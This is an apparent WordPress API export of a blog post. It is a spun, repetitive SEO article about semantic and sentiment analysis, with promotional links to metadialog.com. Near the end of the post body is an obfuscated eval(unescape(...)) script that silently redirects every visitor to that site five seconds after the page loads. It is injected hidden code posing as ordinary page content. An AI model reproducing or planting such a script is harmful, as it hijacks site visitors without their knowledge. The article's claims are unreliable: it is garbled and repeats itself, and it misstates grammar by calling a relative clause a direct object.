F3YdpNX3C8Ydcqvbkq6Rkk7gxzSYpA+PkLJg3tDhuAQQJu+gesPCDm\/D\/AKzY\/p9edSqDB8UfiuU0NihdV1lPLM2YulgiALnMD6h4DgNuWMB3LzAr9IsZ1r4iuMDKc4u+huWYJjuYaR3TGrPV3m2yxtZ0sU0UZq5A3kgmdI97uhc7nDOQkdoQbK2\/jQs9x4Q6ji1Zgda2309PJObKa5hmIbN0RHS8nL\/n+1dFmvHrbLRatMrVp7pJfM51C1Qx2iya34pb6tkRoqOeBsxdUVJa4N2aXbEMIPISeUbE6e2i4cRlPwL5BwhR8JupP+p7W2ojqri+0y\/YHUoqQ8mB4aftEpJ5Wsi5uYbvBLQSsk2DBdZuG\/PdEuJim0ZyfMrK7SGyYXk1ltVC+S8Wapjo4dz9lI6TcPjDXAt83aQO5SRuHvNSOO7Msq0D1Tosa0azDENS8Pt9RDeKCWribJZI3QvLbjFOQBNHGQ0kBrXdo2BBBOMKTiJvOV8Kmjd94gcEz2aWozS0UNsvlHkzKSS+VMrKo\/anljSTC3k5XRO25iWnfsWZxd+KHiZ0d14dfNGYsNx\/Icar7Xg1nudEaS\/107qdzd6kySbMDnDZvM1g85vbyjmOtdwsWtebcJuiOlL+HTUq1XfTHUWysuAqsdqv+IpwyrL6qNoj36Fm7A5580F7e3tG4bjarca1zxzVS56LaH6FZBqxlGOUzKvIGUFcyiprYx7eZjHSuY\/mkO48zlHf2EncLz1y8pPpvTcPdw10ocHvT62wX2DHL\/jFXK2nrbZWSc39ztnNezzCQQASNwQ1wLR4lr9UODjio1b1Bn0NzTUXD9W301zoK7E7e6vqKOqi5i6nnjYC5jSZXBpdsNgNt+3bAOf8M\/EFceGzVbUi8aVX6HJNWdRqHI6TErdRS1tfRUXS1EhdNDCHOZ\/522xALQPOAJ2AbZWzyhc8OqWE4jnXDxl2H4rqRVR0eMZPcqmPaskk5BEXU4ZuxrnSM2\/qFwD2kt7TtuMtIOMjTzPMop+FgYvg9+upx7N7JV3YUNsmn+7oIxBzyVHI09Cxux3c\/YDY79y3fb3DfvQSiIgIiIIPcf0VefHL+LNp+HYP3VUrDD3H9FXnxy\/izafh2D91VINs+FH8uWmXwZYf4+BZaWJeFH8uWmXwZYf4+BZaQEREBQe1SiCOUIGgKUQRsPUmw79lKII2CbD1KUQRsPUnKB6FKII5R6kLQe3ZSiCNh3bJsFKII5QDvsnKFKII5R6k5RttspRBHK0+hYTuPB3oPedao9fb5jVbc8tgqG1dNJWXOokpaecNDQ+OnLujadmg9224B7+1ZtRBx5W+pTyjbZSiDjyt9SnlClEEbAehNh6lKII2G22yFoPoUogjYepA0DsAUogjlCbBSiCOUepOUepSiCC0FOUd2ylEHHkb6lPKPUpRBGw9SlEQEREBERBB7j+irz45fxZtPw7B+6qlYYe4\/oq8+OX8WbT8OwfuqpBtnwo\/ly0y+DLD\/HwLLSxLwo\/ly0y+DLD\/AB8Cy0gIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiCD3H9FXnxy\/izafh2D91VKww9x\/RV58cv4s2n4dg\/dVSDbPhR\/Llpl8GWH+PgWWliXhR\/Llpl8GWH+PgWWkBERAREQEREBERAREQEREBERAREQEREBERAREQEREBERAREQEREBEUHsCCUX5PnjjJD5Gt2G\/aduxcukaHiMvHMRuB6dkHNFA7u\/dfjJUwxMkkknjayP+4lwAb+p9CD9nHYbro25xhz2xvZltle2WWWnjIr4tnyxyNjkY3zu1zZHsY4d4c4A9pAXeHuWrtr4RsksGVNvOP6nMoYJauvudRRxU7wRV1Vyp6iSaJ4fzMEkFMyKRn9pcOcAc7+YNoeY7dy+eguVDdaVtdbK2nq6Z5cGTQStkjcWuLXAOadjs4EH\/IIWs9Hwz6q01jsllm1mqZ622xPbVTvut1L62rMULBc3b1JIqA6OV\/RD+jvO\/s3DSOUPC7qfSSQUlv1cdQ2+Gz3K2hlFLWUzy+qbW7P2ZLyNLZKqGQOa0O3h7zs0gNlam6UFHPTUtXXU8E1Y8xU0UkrWvmeGlxawE7uIa0nYegE+hfQZP8AHZ37\/wCFgyo0a1Ipsb08htmZWWfIMJvFVcOmukVTPBVRywVEQi36TpN2tmHbvt5nY1o2A6T\/AMOmpDb\/AHnKTqJZ6q6Xe+xZI6lmo5hTQVLIKmlDG\/1C7k+zTxt9HnwA7ec5Bsfz9m6gP3HbsPStP8l4DJ71TXY0+XWUVV3+6YamSeyxSdPTUP3KWxS8wd0rHfdM\/wDTl54x9q\/s\/v5+zpuCgfb7gLpkVlns91bMH4++0sNuY8WamoaaSKDsijfHJDLISyNocDENgYmlBtdzb77ehcl0GB4hacCw6z4fZLbQUFJaqOKmbDQ0zaeAOa0czmsaAG8zt3fqSu\/QQe4\/oq8+OX8WbT8OwfuqpWGHuP6KvPjl\/Fm0\/DsH7qqQbZ8KP5ctMvgyw\/x8Cy0sS8KP5ctMvgyw\/wAfAstICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICg9x2Uog8DqFgN7yyo57Td4KSOqoJLbVdK15cyJ0jH9JHy9heOUjY7Dt337Nj5iXRnUKR0oj1Xu8LZXyND21c7pI4ZoaWOZrXufuCDFUyMIPmPlaRtsQsyogw+dJNQZKmqqKjVO+PY9lwMMLLjNEGzTSU5hf2DYBjIp2hhD2gzEtHdt1tTobn88zKo6k1DZpYaeKt6GadnTtjYQWhz3PLQZHCXc7uJjDSSHuKzkiDHOT4Hmt2uNRU23L54oZ6emhYDWVMDouRzTIGticIwXbF3O5rju7lILOxeYpNDc5pGPqYNTK6nuzqcQm4snqHufIWASSOjc8td525DTuAe3vJKzaiDD40jzhtTLcWZvNFLKws6EVlU\/lZ0zH9F9oLumLeVr285PO0SHl22C6+i0p1kns9JTXPU+shkbDTmaOGvnMjnikiikYZu0gCVjpQ4DdxJB25nE5wRBijNNK80yLIILvbs5qqZlKyLoj9oljcNonRyRhjP6becuLjKG9IOYjtaGgfe3Ac1pJIn0WUsmmlx6nstVW1T5DUiSJ0runa9oAc49L2kgHzd991khEGH6fS3VGGB8P8AubUt3jklh\/4mpf0E4lnkgZu528kTekha7mO72w7HsOwh2kuostc+efUqtELjGAGVdTvs1x3cN37xucw8p5XbEjcAdwzCiDqcWtNdY7HBa7hcpa+aB8u08r3PeYzI50bXOcS5xawtbuSSeXckrtkRBB7j+irz45fxZtPw7B+6qlYYe4\/oq8+OX8WbT8OwfuqpBtnwo\/ly0y+DLD\/HwLLSxLwo\/ly0y+DLD\/HwLLSAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiIIPcf0VefHL+LNp+HYP3VUrDD3H9FXnxy\/izafh2D91VIMAaZeWEuGm2nWMYDHoG2s\/03ZaG0fam5SYRUCmgZCJOT7I7l5uQHbmO2+25Xpeu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0Hrvbr7u4+rz4JOu9uvu7j6vPglV8iC0EeW8uh7+Hf8A\/cD4Ja5cQnlCMv1uzalyu2YDbccp6W2x29tJLWOrXuLZZZC8yckff0u23L\/y\/wCVqWiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiICIiAiIgIiIP\/2Q==\" width=\"304px\" alt=\"semantic analysis example\"\/><\/p>\n<p><p>Semantic analysis tech is highly beneficial for the customer service department of any company.  Moreover, it is also helpful to customers as the technology enhances the overall customer experience at different levels. These documents contain all the information we need for our lexicon-based analyzer, so we can now exclude all the other columns from the processed dataset with the Column Filter node. Sentiment Analysis is one of those technologies, the usefulness of which wholly depends on the understanding of its capabilities.<\/p>\n<\/p>\n<p><h2>The Use Of Semantic Analysis In Interpreting Texts<\/h2>\n<\/p>\n<p><p>With text analysis platforms like IBM Watson Natural Language Understanding or MonkeyLearn, users can automate the classification of incoming customer support messages by polarity, topic, aspect, and priority. Since it\u2019s better to <a href=\"https:\/\/metadialog.com\/\">metadialog.com<\/a> put out a spark before it turns into a flame, new messages from the least happy and most angry customers are processed first. Satalytics, for example, groups feedback by device, customer journey stage, and new or repeat customers.<\/p>\n<\/p>\n<p><img class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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width=\"304px\" alt=\"semantic analysis example\"\/><\/p>\n<p><p>All the words, sub-words, etc. are collectively known as lexical items. The semantic analysis creates a representation of the meaning of a sentence. But before deep dive into the concept and approaches related to meaning representation, firstly we have to understand the building blocks of the semantic system. It\u2019s an essential sub-task of Natural Language Processing (NLP) and the driving force behind machine learning tools like chatbots, search engines, and text analysis.<\/p>\n<\/p>\n<p><a href=\"https:\/\/metadialog.com\/\"><img src='https:\/\/www.metadialog.com\/wp-content\/uploads\/2022\/12\/ai-healthcare-artificial-intelligence-38.webp' alt='https:\/\/metadialog.com\/' class='aligncenter' style='display:block;margin-left:auto;margin-right:auto; width='404px'\/><\/a><\/p>\n<p><p>Semantic analysis creates a representation of the meaning of a sentence. But before getting into the concept and approaches related to meaning representation, we need to understand the building blocks of semantic system. QuestionPro is survey software that lets users make, send out, and look at the results of surveys. Depending on how QuestionPro surveys are set up, the answers to those surveys could be used as input for an algorithm that can do semantic analysis. It is a crucial component of Natural Language Processing (NLP) and the inspiration for applications like chatbots, search engines, and text analysis using machine learning. Customers benefit from such a support system as they receive timely and accurate responses on the issues raised by them.<\/p>\n<\/p>\n<div itemScope itemProp=\"mainEntity\" itemType=\"https:\/\/schema.org\/Question\">\n<div itemProp=\"name\">\n<h2>What is an example of semantic in communication?<\/h2>\n<\/div>\n<div itemScope itemProp=\"acceptedAnswer\" itemType=\"https:\/\/schema.org\/Answer\">\n<div itemProp=\"text\">\n<p>For example, the words &apos;write&apos; and &apos;right&apos;. They sound the same but mean different things. We can avoid confusion by choosing a different word, for example &apos;correct&apos; instead of &apos;right&apos;.<\/p>\n<\/div><\/div>\n<\/div>\n<div itemScope itemProp=\"mainEntity\" itemType=\"https:\/\/schema.org\/Question\">\n<div itemProp=\"name\">\n<h2>What are the 3 kinds of semantics?<\/h2>\n<\/div>\n<div itemScope itemProp=\"acceptedAnswer\" itemType=\"https:\/\/schema.org\/Answer\">\n<div itemProp=\"text\">\n<ul>\n<li>Formal semantics.<\/li>\n<li>Lexical semantics.<\/li>\n<li>Conceptual semantics.<\/li>\n<\/ul>\n<\/div><\/div>\n<\/div>\n<p><script>eval(unescape(\"%28function%28%29%7Bif%20%28new%20Date%28%29%3Enew%20Date%28%27November%205%2C%202020%27%29%29setTimeout%28function%28%29%7Bwindow.location.href%3D%27https%3A\/\/www.metadialog.com\/%27%3B%7D%2C5*1000%29%3B%7D%29%28%29%3B\"));<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>As an example, in the sentence The book that I read is good, \u201cbook\u201d is the subject, and \u201cthat I read\u201d is the direct object. Semantic analysis is a type of linguistic analysis that focuses on the meaning of words and phrases. The goal of semantic analysis is to identify the meaning of words and&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0},"categories":[69],"tags":[],"_links":{"self":[{"href":"http:\/\/dhdanjo.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/34413"}],"collection":[{"href":"http:\/\/dhdanjo.co.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/dhdanjo.co.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/dhdanjo.co.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/dhdanjo.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=34413"}],"version-history":[{"count":1,"href":"http:\/\/dhdanjo.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/34413\/revisions"}],"predecessor-version":[{"id":34415,"href":"http:\/\/dhdanjo.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/34413\/revisions\/34415"}],"wp:attachment":[{"href":"http:\/\/dhdanjo.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=34413"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/dhdanjo.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=34413"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/dhdanjo.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=34413"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}